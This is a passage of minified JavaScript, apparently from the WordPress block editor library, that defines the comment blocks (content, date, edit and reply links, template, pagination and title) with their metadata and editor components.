comment.",textdomain:"default",usesContext:["commentId"],supports:{anchor:!0,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}},spacing:{padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},html:!1},style:"wp-block-comment-content"};var OH=o(I(),1),HH=o(j(),1),jH=o(A(),1),UH=o(Y(),1),GH=o(T(),1);var El=o(v(),1);function WH(e){let{context:{commentId:t}}=e;St(e);let r=(0,GH.useBlockProps)(),[a]=(0,UH.useEntityProp)("root","comment","content",t);return!t||!a?(0,El.jsx)(El.Fragment,{children:(0,El.jsx)("div",{...r,children:(0,El.jsx)("p",{children:(0,OH._x)("Comment Content","block title")})})}):(0,El.jsx)(El.Fragment,{children:(0,El.jsx)("div",{...r,children:(0,El.jsx)(jH.Disabled,{children:(0,El.jsx)(HH.RawHTML,{children:a.rendered},"html")})})})}var $ge={attributes:{textAlign:{type:"string"}},usesContext:["commentId"],supports:{anchor:!0,color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},spacing:{padding:["horizontal","vertical"]},html:!1},save(){return null},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)}},$H=[$ge];var{name:qH}=wk,ZH={icon:u9,edit:WH,deprecated:$H,example:{}},qge=()=>N({name:qH,metadata:wk,settings:ZH});var VI={};q(VI,{init:()=>Qge,metadata:()=>Ck,name:()=>XH,settings:()=>JH});var Ck={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comment-date",title:"Comment Date",category:"theme",ancestor:["core/comment-template"],description:"Displays the date on which the comment was posted.",textdomain:"default",attributes:{format:{type:"string"},isLink:{type:"boolean",default:!0}},usesContext:["commentId"],supports:{anchor:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-comment-date"};var zI=o(Y(),1),Dp=o(Sk(),1),Vf=o(T(),1),Lp=o(A(),1),Np=o(I(),1);var Ga=o(v(),1);function QH({attributes:{format:e,isLink:t},context:{commentId:r},setAttributes:a}){let n=(0,Vf.useBlockProps)(),i=W(),[l]=(0,zI.useEntityProp)("root","comment","date",r),[s=(0,Dp.getSettings)().formats.date]=(0,zI.useEntityProp)("root","site","date_format"),c=(0,Ga.jsx)(Vf.InspectorControls,{children:(0,Ga.jsxs)(Lp.__experimentalToolsPanel,{label:(0,Np.__)("Settings"),resetAll:()=>{a({format:void 0,isLink:!0})},dropdownMenuProps:i,children:[(0,Ga.jsx)(Lp.__experimentalToolsPanelItem,{label:(0,Np.__)("Date format"),hasValue:()=>e!==void 0,onDeselect:()=>a({format:void 0}),isShownByDefault:!0,children:(0,Ga.jsx)(Vf.__experimentalDateFormatPicker,{format:e,defaultFormat:s,onChange:m=>a({format:m})})}),(0,Ga.jsx)(Lp.__experimentalToolsPanelItem,{label:(0,Np.__)("Link to comment"),hasValue:()=>!t,onDeselect:()=>a({isLink:!0}),isShownByDefault:!0,children:(0,Ga.jsx)(Lp.ToggleControl,{label:(0,Np.__)("Link to comment"),onChange:()=>a({isLink:!t}),checked:t})})]})});(!r||!l)&&(l=(0,Np._x)("Comment Date","block title"));let u=l instanceof Date?(0,Ga.jsx)("time",{dateTime:(0,Dp.dateI18n)("c",l),children:e==="human-diff"?(0,Dp.humanTimeDiff)(l):(0,Dp.dateI18n)(e||s,l)}):(0,Ga.jsx)("time",{children:l});return t&&(u=(0,Ga.jsx)("a",{href:"#comment-date-pseudo-link",onClick:m=>m.preventDefault(),children:u})),(0,Ga.jsxs)(Ga.Fragment,{children:[c,(0,Ga.jsx)("div",{...n,children:u})]})}var Kge={attributes:{format:{type:"string"},isLink:{type:"boolean",default:!1}},supports:{html:!1,color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0}},save(){return null},migrate:jt,isEligible({style:e}){return e?.typography?.fontFamily}},YH=[Kge];var{name:XH}=Ck,JH={icon:Y0,edit:QH,deprecated:YH,example:{}},Qge=()=>N({name:XH,metadata:Ck,settings:JH});var FI={};q(FI,{init:()=>Jge,metadata:()=>Tk,name:()=>rj,settings:()=>oj});var Tk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comment-edit-link",title:"Comment Edit Link",category:"theme",ancestor:["core/comment-template"],description:"Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.",textdomain:"default",usesContext:["commentId"],attributes:{linkTarget:{type:"string",default:"_self"}},supports:{anchor:!0,html:!1,color:{link:!0,gradients:!0,text:!1,__experimentalDefaultControls:{background:!0,link:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},style:"wp-block-comment-edit-link"};var Pk=o(T(),1),Ff=o(A(),1),F1=o(I(),1);var Nl=o(v(),1);function ej(e){let{attributes:t,setAttributes:r}=e,{linkTarget:a}=t;St(e);let n=(0,Pk.useBlockProps)(),i=W(),l=(0,Nl.jsx)(Pk.InspectorControls,{children:(0,Nl.jsx)(Ff.__experimentalToolsPanel,{label:(0,F1.__)("Settings"),resetAll:()=>{r({linkTarget:"_self"})},dropdownMenuProps:i,children:(0,Nl.jsx)(Ff.__experimentalToolsPanelItem,{label:(0,F1.__)("Open in new tab"),isShownByDefault:!0,hasValue:()=>a==="_blank",onDeselect:()=>r({linkTarget:"_self"}),children:(0,Nl.jsx)(Ff.ToggleControl,{label:(0,F1.__)("Open in new tab"),onChange:s=>r({linkTarget:s?"_blank":"_self"}),checked:a==="_blank"})})})});return(0,Nl.jsxs)(Nl.Fragment,{children:[l,(0,Nl.jsx)("div",{...n,children:(0,Nl.jsx)("a",{href:"#edit-comment-pseudo-link",onClick:s=>s.preventDefault(),children:(0,F1.__)("Edit")})})]})}var Xge={attributes:{linkTarget:{type:"string",default:"_self"},textAlign:{type:"string"}},usesContext:["commentId"],supports:{anchor:!0,html:!1,color:{link:!0,gradients:!0,text:!1},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},save(){return null},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)}},tj=[Xge];var{name:rj}=Tk,oj={icon:p9,edit:ej,deprecated:tj,example:{}},Jge=()=>N({name:rj,metadata:Tk,settings:oj});var OI={};q(OI,{init:()=>o0e,metadata:()=>Bk,name:()=>sj,settings:()=>cj});var Bk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comment-reply-link",title:"Comment Reply Link",category:"theme",ancestor:["core/comment-template"],description:"Displays a link to reply to a comment.",textdomain:"default",usesContext:["commentId"],supports:{anchor:!0,color:{gradients:!0,link:!0,text:!1,__experimentalDefaultControls:{background:!0,link:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},html:!1},style:"wp-block-comment-reply-link"};var aj=o(I(),1),nj=o(T(),1);var Of=o(v(),1);function t0e(e){St(e);let t=(0,nj.useBlockProps)();return(0,Of.jsx)(Of.Fragment,{children:(0,Of.jsx)("div",{...t,children:(0,Of.jsx)("a",{href:"#comment-reply-pseudo-link",onClick:r=>r.preventDefault(),children:(0,aj.__)("Reply")})})})}var ij=t0e;var r0e={attributes:{textAlign:{type:"string"}},usesContext:["commentId"],supports:{anchor:!0,color:{gradients:!0,link:!0,text:!1},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},html:!1},save(){return null},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)}},lj=[r0e];var{name:sj}=Bk,cj={edit:ij,icon:f9,deprecated:lj,example:{}},o0e=()=>N({name:sj,metadata:Bk,settings:cj});var jI={};q(jI,{init:()=>m0e,metadata:()=>Ik,name:()=>Tj,settings:()=>Pj});var Ik={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comment-template",title:"Comment Template",category:"design",parent:["core/comments"],description:"Contains the block elements used to display a comment, like the title, date, author, avatar and more.",textdomain:"default",usesContext:["postId"],supports:{anchor:!0,align:!0,html:!1,reusable:!1,spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-comment-template"};var Ek=o(j(),1),HI=o(z(),1),bj=o(I(),1),Dl=o(T(),1),yj=o(A(),1),xj=o(Y(),1);var Mp=o(j(),1),pj=o(z(),1),dj=o(T(),1),fj=o(nr(),1),hj=o(O1(),1),mj=100,gj=({postId:e})=>{let t={status:"approve",order:"asc",context:"embed",parent:0,_embed:"children"},{pageComments:r,commentsPerPage:a,defaultCommentsPage:n}=(0,pj.useSelect)(s=>{let{getSettings:c}=s(dj.store),{__experimentalDiscussionSettings:u}=c();return u??{}},[]),i=r?Math.min(a,mj):mj,l=n0e({defaultPage:n,postId:e,perPage:i,queryArgs:t});return(0,Mp.useMemo)(()=>l?{...t,post:e,per_page:i,page:l}:null,[e,i,l])},n0e=({defaultPage:e,postId:t,perPage:r,queryArgs:a})=>{let[n,i]=(0,Mp.useState)({}),l=`${t}_${r}`,s=n[l]||0;return(0,Mp.useEffect)(()=>{s||e!=="newest"||(0,hj.default)({path:(0,fj.addQueryArgs)("/wp/v2/comments",{...a,post:t,per_page:r,_fields:"id"}),method:"HEAD",parse:!1}).then(c=>{let u=parseInt(c.headers.get("X-WP-TotalPages"));i({...n,[l]:u<=1?1:u})}).catch(()=>{i({...n,[l]:1})})},[e,t,r,i]),e==="newest"?s:1},vj=e=>(0,Mp.useMemo)(()=>e?.map(({id:r,_embedded:a})=>{let[n]=a?.children||[[]];return{commentId:r,children:n.map(i=>({commentId:i.id}))}}),[e]);var ai=o(v(),1),i0e=[["core/avatar"],["core/comment-author-name"],["core/comment-date"],["core/comment-content"],["core/comment-reply-link"],["core/comment-edit-link"]],l0e=({perPage:e,pageComments:t,threadComments:r,threadCommentsDepth:a})=>{let n=r?Math.min(a,3):1,i=s=>{if(s<n){let c=s+1;return[{commentId:-(s+3),children:i(c)}]}return[]},l=[{commentId:-1,children:i(1)}];return(!t||e>=2)&&n<3&&l.push({commentId:-2,children:[]}),(!t||e>=3)&&n<2&&l.push({commentId:-3,children:[]}),l};function s0e({comment:e,activeCommentId:t,setActiveCommentId:r,firstCommentId:a,blocks:n}){let{children:i,...l}=(0,Dl.useInnerBlocksProps)({},{template:i0e});return(0,ai.jsxs)("li",{...l,children:[e.commentId===(t||a)?i:null,(0,ai.jsx)(u0e,{blocks:n,commentId:e.commentId,setActiveCommentId:r,isHidden:e.commentId===(t||a)}),e?.children?.length>0?(0,ai.jsx)(_j,{comments:e.children,activeCommentId:t,setActiveCommentId:r,blocks:n,firstCommentId:a}):null]})}var c0e=({blocks:e,commentId:t,setActiveCommentId:r,isHidden:a})=>{let n=(0,Dl.__experimentalUseBlockPreview)({blocks:e}),i=()=>{r(t)};return(0,ai.jsx)("div",{...n,tabIndex:0,role:"button",style:{display:a?"none":void 0},onClick:i,onKeyPress:i})},u0e=(0,Ek.memo)(c0e),_j=({comments:e,blockProps:t,activeCommentId:r,setActiveCommentId:a,blocks:n,firstCommentId:i})=>(0,ai.jsx)("ol",{...t,children:e&&e.map(({commentId:l,...s},c)=>(0,ai.jsx)(Dl.BlockContextProvider,{value:{commentId:l<0?null:l},children:(0,ai.jsx)(s0e,{comment:{commentId:l,...s},activeCommentId:r,setActiveCommentId:a,blocks:n,firstCommentId:i})},s.commentId||c))});function kj({clientId:e,context:{postId:t}}){let r=(0,Dl.useBlockProps)(),[a,n]=(0,Ek.useState)(),{commentOrder:i,threadCommentsDepth:l,threadComments:s,commentsPerPage:c,pageComments:u}=(0,HI.useSelect)(h=>{let{getSettings:g}=h(Dl.store);return g().__experimentalDiscussionSettings??{}},[]),m=gj({postId:t}),{topLevelComments:p,blocks:d}=(0,HI.useSelect)(h=>{let{getEntityRecords:g}=h(xj.store),{getBlocks:b}=h(Dl.store);return{topLevelComments:m?g("root","comment",m):null,blocks:b(e)}},[e,m]),f=vj(i==="desc"&&p?[...p].reverse():p);return p?(t||(f=l0e({perPage:c,pageComments:u,threadComments:s,threadCommentsDepth:l})),f.length?(0,ai.jsx)(_j,{comments:f,blockProps:r,blocks:d,activeCommentId:a,setActiveCommentId:n,firstCommentId:f[0]?.commentId}):(0,ai.jsx)("p",{...r,children:(0,bj.__)("No results found.")})):(0,ai.jsx)("p",{...r,children:(0,ai.jsx)(yj.Spinner,{})})}var wj=o(T(),1),Cj=o(v(),1);function Sj(){return(0,Cj.jsx)(wj.InnerBlocks.Content,{})}var{name:Tj}=Ik,Pj={icon:fp,edit:kj,save:Sj},m0e=()=>N({name:Tj,metadata:Ik,settings:Pj});var GI={};q(GI,{init:()=>f0e,metadata:()=>Nk,name:()=>Ej,settings:()=>Nj});var Ij=o(I(),1);var Nk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comments-pagination-previous",title:"Comments Previous Page",category:"theme",parent:["core/comments-pagination"],description:"Displays the previous comment's page link.",textdomain:"default",attributes:{label:{type:"string"}},usesContext:["postId","comments/paginationArrow"],supports:{anchor:!0,reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}}};var UI=o(I(),1),Dk=o(T(),1),H1=o(v(),1),d0e={none:"",arrow:"\u2190",chevron:"\xAB"};function Bj({attributes:{label:e},setAttributes:t,context:{"comments/paginationArrow":r}}){let a=d0e[r];return(0,H1.jsxs)("a",{href:"#comments-pagination-previous-pseudo-link",onClick:n=>n.preventDefault(),...(0,Dk.useBlockProps)(),children:[a&&(0,H1.jsx)("span",{className:`wp-block-comments-pagination-previous-arrow is-arrow-${r}`,children:a}),(0,H1.jsx)(Dk.PlainText,{__experimentalVersion:2,tagName:"span","aria-label":(0,UI.__)("Older comments page link"),placeholder:(0,UI.__)("Older Comments"),value:e,onChange:n=>t({label:n})})]})}var{name:Ej}=Nk,Nj={icon:t1,edit:Bj,example:{attributes:{label:(0,Ij.__)("Older Comments")}}},f0e=()=>N({name:Ej,metadata:Nk,settings:Nj});var $I={};q($I,{init:()=>v0e,metadata:()=>Lk,name:()=>zj,settings:()=>Vj});var Lk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comments-pagination",title:"Comments Pagination",category:"theme",parent:["core/comments"],allowedBlocks:["core/comments-pagination-previous","core/comments-pagination-numbers","core/comments-pagination-next"],description:"Displays a paginated navigation to next/previous set of comments, when applicable.",textdomain:"default",attributes:{paginationArrow:{type:"string",default:"none"}},example:{attributes:{paginationArrow:"none"}},providesContext:{"comments/paginationArrow":"paginationArrow"},supports:{anchor:!0,align:!0,reusable:!1,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},layout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-comments-pagination-editor",style:"wp-block-comments-pagination"};var Mk=o(I(),1),Ml=o(T(),1),WI=o(z(),1),Ak=o(A(),1);var Ap=o(I(),1),Hf=o(A(),1),jf=o(v(),1);function Dj({value:e,onChange:t}){return(0,jf.jsxs)(Hf.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:(0,Ap.__)("Arrow"),value:e,onChange:t,help:(0,Ap.__)("A decorative arrow appended to the next and previous comments link."),isBlock:!0,children:[(0,jf.jsx)(Hf.__experimentalToggleGroupControlOption,{value:"none",label:(0,Ap._x)("None","Arrow option for Comments Pagination Next/Previous blocks")}),(0,jf.jsx)(Hf.__experimentalToggleGroupControlOption,{value:"arrow",label:(0,Ap._x)("Arrow","Arrow option for Comments Pagination Next/Previous blocks")}),(0,jf.jsx)(Hf.__experimentalToggleGroupControlOption,{value:"chevron",label:(0,Ap._x)("Chevron","Arrow option for Comments Pagination Next/Previous blocks")})]})}var Ll=o(v(),1),g0e=[["core/comments-pagination-previous"],["core/comments-pagination-numbers"],["core/comments-pagination-next"]];function Lj({attributes:{paginationArrow:e},setAttributes:t,clientId:r}){let a=(0,WI.useSelect)(c=>{let{getBlocks:u}=c(Ml.store);return u(r)?.find(p=>["core/comments-pagination-previous","core/comments-pagination-next"].includes(p.name))},[]),n=(0,Ml.useBlockProps)(),i=W(),l=(0,Ml.useInnerBlocksProps)(n,{template:g0e});return(0,WI.useSelect)(c=>{let{getSettings:u}=c(Ml.store),{__experimentalDiscussionSettings:m}=u();return m?.pageComments},[])?(0,Ll.jsxs)(Ll.Fragment,{children:[a&&(0,Ll.jsx)(Ml.InspectorControls,{children:(0,Ll.jsx)(Ak.__experimentalToolsPanel,{label:(0,Mk.__)("Settings"),dropdownMenuProps:i,resetAll:()=>t({paginationArrow:"none"}),children:(0,Ll.jsx)(Ak.__experimentalToolsPanelItem,{label:(0,Mk.__)("Arrow"),hasValue:()=>e!=="none",onDeselect:()=>t({paginationArrow:"none"}),isShownByDefault:!0,children:(0,Ll.jsx)(Dj,{value:e,onChange:c=>{t({paginationArrow:c})}})})})}),(0,Ll.jsx)("div",{...l})]}):(0,Ll.jsx)(Ml.Warning,{children:(0,Mk.__)("Comments Pagination block: paging comments is disabled in the Discussion Settings")})}var Mj=o(T(),1),Aj=o(v(),1);function Rj(){return(0,Aj.jsx)(Mj.InnerBlocks.Content,{})}var{name:zj}=Lk,Vj={icon:r1,edit:Lj,save:Rj},v0e=()=>N({name:zj,metadata:Lk,settings:Vj});var ZI={};q(ZI,{init:()=>x0e,metadata:()=>Rk,name:()=>Hj,settings:()=>jj});var Oj=o(I(),1);var Rk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comments-pagination-next",title:"Comments Next Page",category:"theme",parent:["core/comments-pagination"],description:"Displays the next comment's page link.",textdomain:"default",attributes:{label:{type:"string"}},usesContext:["postId","comments/paginationArrow"],supports:{anchor:!0,reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}}};var qI=o(I(),1),zk=o(T(),1),j1=o(v(),1),y0e={none:"",arrow:"\u2192",chevron:"\xBB"};function Fj({attributes:{label:e},setAttributes:t,context:{"comments/paginationArrow":r}}){let a=y0e[r];return(0,j1.jsxs)("a",{href:"#comments-pagination-next-pseudo-link",onClick:n=>n.preventDefault(),...(0,zk.useBlockProps)(),children:[(0,j1.jsx)(zk.PlainText,{__experimentalVersion:2,tagName:"span","aria-label":(0,qI.__)("Newer comments page link"),placeholder:(0,qI.__)("Newer Comments"),value:e,onChange:n=>t({label:n})}),a&&(0,j1.jsx)("span",{className:`wp-block-comments-pagination-next-arrow is-arrow-${r}`,children:a})]})}var{name:Hj}=Rk,jj={icon:J0,edit:Fj,example:{attributes:{label:(0,Oj.__)("Newer Comments")}}},x0e=()=>N({name:Hj,metadata:Rk,settings:jj});var KI={};q(KI,{init:()=>k0e,metadata:()=>Vk,name:()=>Wj,settings:()=>$j});var Vk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comments-pagination-numbers",title:"Comments Page Numbers",category:"theme",parent:["core/comments-pagination"],description:"Displays a list of page numbers for comments pagination.",textdomain:"default",usesContext:["postId"],supports:{anchor:!0,reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{padding:!0}}}};var Uj=o(T(),1),qi=o(v(),1),Rp=({content:e,tag:t="a",extraClass:r=""})=>t==="a"?(0,qi.jsx)(t,{className:`page-numbers ${r}`,href:"#comments-pagination-numbers-pseudo-link",onClick:a=>a.preventDefault(),children:e}):(0,qi.jsx)(t,{className:`page-numbers ${r}`,children:e});function Gj(){return(0,qi.jsxs)("div",{...(0,Uj.useBlockProps)(),children:[(0,qi.jsx)(Rp,{content:"1"}),(0,qi.jsx)(Rp,{content:"2"}),(0,qi.jsx)(Rp,{content:"3",tag:"span",extraClass:"current"}),(0,qi.jsx)(Rp,{content:"4"}),(0,qi.jsx)(Rp,{content:"5"}),(0,qi.jsx)(Rp,{content:"...",tag:"span",extraClass:"dots"}),(0,qi.jsx)(Rp,{content:"8"})]})}var{name:Wj}=Vk,$j={icon:e1,edit:Gj,example:{}},k0e=()=>N({name:Wj,metadata:Vk,settings:$j});var QI={};q(QI,{init:()=>T0e,metadata:()=>Fk,name:()=>Jj,settings:()=>eU});var Fk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comments-title",title:"Comments Title",category:"theme",ancestor:["core/comments"],description:"Displays a title with the number of comments.",textdomain:"default",usesContext:["postId","postType"],attributes:{showPostTitle:{type:"boolean",default:!0},showCommentsCount:{type:"boolean",default:!0},level:{type:"number",default:2},levelOptions:{type:"array"}},supports:{anchor:!0,align:!0,html:!1,__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0}},interactivity:{clientNavigation:!0}}};var Ss=o(T(),1),Pr=o(I(),1),qj=o(Y(),1),Xu=o(A(),1),Ok=o(j(),1),Zj=o(z(),1),Kj=o(O1(),1),Qj=o(nr(),1);var _n=o(v(),1);function Yj(e){St(e);let{attributes:t,setAttributes:r,context:a}=e,{showPostTitle:n,showCommentsCount:i,level:l=2,levelOptions:s}=t,{postId:c,postType:u}=a,m="h"+l,[p,d]=(0,Ok.useState)(),[f]=(0,qj.useEntityProp)("postType",u,"title",c),h=typeof c>"u",g=(0,Ss.useBlockProps)(),{threadCommentsDepth:b,threadComments:y,commentsPerPage:_,pageComments:x}=(0,Zj.useSelect)(D=>{let{getSettings:M}=D(Ss.store);return M().__experimentalDiscussionSettings??{}},[]),k=W();(0,Ok.useEffect)(()=>{if(h){let M=y?Math.min(b,3)-1:0,O=x?_:3,R=parseInt(M)+parseInt(O);d(Math.min(R,3));return}let D=c;(0,Kj.default)({path:(0,Qj.addQueryArgs)("/wp/v2/comments",{post:c,_fields:"id"}),method:"HEAD",parse:!1}).then(M=>{D===c&&d(parseInt(M.headers.get("X-WP-Total")))}).catch(()=>{d(0)})},[c]);let S=(0,_n.jsx)(Ss.BlockControls,{group:"block",children:(0,_n.jsx)(Ss.HeadingLevelDropdown,{value:l,options:s,onChange:D=>r({level:D})})}),C=(0,_n.jsx)(Ss.InspectorControls,{children:(0,_n.jsxs)(Xu.__experimentalToolsPanel,{label:(0,Pr.__)("Settings"),resetAll:()=>{r({showPostTitle:!0,showCommentsCount:!0})},dropdownMenuProps:k,children:[(0,_n.jsx)(Xu.__experimentalToolsPanelItem,{label:(0,Pr.__)("Show post title"),isShownByDefault:!0,hasValue:()=>!n,onDeselect:()=>r({showPostTitle:!0}),children:(0,_n.jsx)(Xu.ToggleControl,{label:(0,Pr.__)("Show post title"),checked:n,onChange:D=>r({showPostTitle:D})})}),(0,_n.jsx)(Xu.__experimentalToolsPanelItem,{label:(0,Pr.__)("Show comments count"),isShownByDefault:!0,hasValue:()=>!i,onDeselect:()=>r({showCommentsCount:!0}),children:(0,_n.jsx)(Xu.ToggleControl,{label:(0,Pr.__)("Show comments count"),checked:i,onChange:D=>r({showCommentsCount:D})})})]})}),E=h?(0,Pr.__)("Post Title"):f,B;return i&&p!==void 0?n?p===1?B=(0,Pr.sprintf)((0,Pr.__)('One response to "%s"'),E):B=(0,Pr.sprintf)((0,Pr._n)('%1$s response to "%2$s"','%1$s responses to "%2$s"',p),p,E):p===1?B=(0,Pr.__)("One response"):B=(0,Pr.sprintf)((0,Pr._n)("%s response","%s responses",p),p):n?p===1?B=(0,Pr.sprintf)((0,Pr.__)('Response to "%s"'),E):B=(0,Pr.sprintf)((0,Pr.__)('Responses to "%s"'),E):p===1?B=(0,Pr.__)("Response"):B=(0,Pr.__)("Responses"),(0,_n.jsxs)(_n.Fragment,{children:[S,C,(0,_n.jsx)(m,{...g,children:B})]})}var C0e={attributes:{textAlign:{type:"string"},showPostTitle:{type:"boolean",default:!0},showCommentsCount:{type:"boolean",default:!0},level:{type:"number",default:2},levelOptions:{type:"array"}},supports:{anchor:!0,align:!0,html:!1,__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0}},interactivity:{clientNavigation:!0}},migrate:e=>{let{singleCommentLabel:t,multipleCommentsLabel:r,...a}=e;return be(a)},isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},S0e={attributes:{textAlign:{type:"string"},showPostTitle:{type:"boolean",default:!0},showCommentsCount:{type:"boolean",default:!0},level:{type:"number",default:2},levelOptions:{type:"array"},singleCommentLabel:{type:"string"},multipleCommentsLabel:{type:"string"}},supports:{anchor:!0,align:!0,html:!1,__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,__experimentalFontFamily:!0,__experimentalFontSt